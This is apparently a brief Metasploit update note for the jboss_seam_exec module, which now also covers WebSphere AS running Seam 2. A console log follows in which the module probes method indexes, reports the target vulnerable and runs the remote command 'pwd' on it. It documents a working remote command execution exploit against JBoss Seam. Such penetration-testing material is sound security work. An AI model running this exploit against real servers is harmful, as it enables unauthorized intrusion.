Module was updated to support WebSphere AS running seam-2.

msf auxiliary(jboss_seam_exec) > run

[*] Found right index at [0] - getRuntime
[*] Index [1]
[*] Index [2]
[*] Index [3]
[*] Index [4]
[*] Index [5]
[*] Found right index at [6] - exec
[*] Index [7]
[*] Index [8]
[*] Index [9]
[*] Index [10]
[*] Index [11]
[*] Index [12]
[*] Index [13]
[*] Index [14]
[*] Index [15]
[*] Index [16]
[*] Index [17]
[*] Index [18]
[*] Index [19]
[*] Index [20]
[*] Index [21]
[*] Index [22]
[*] Index [23]
[*] Index [24]
[*] Target appears VULNERABLE!
[*] Sending remote command:pwd
[*] Exploited successfully
[*] Auxiliary module execution completed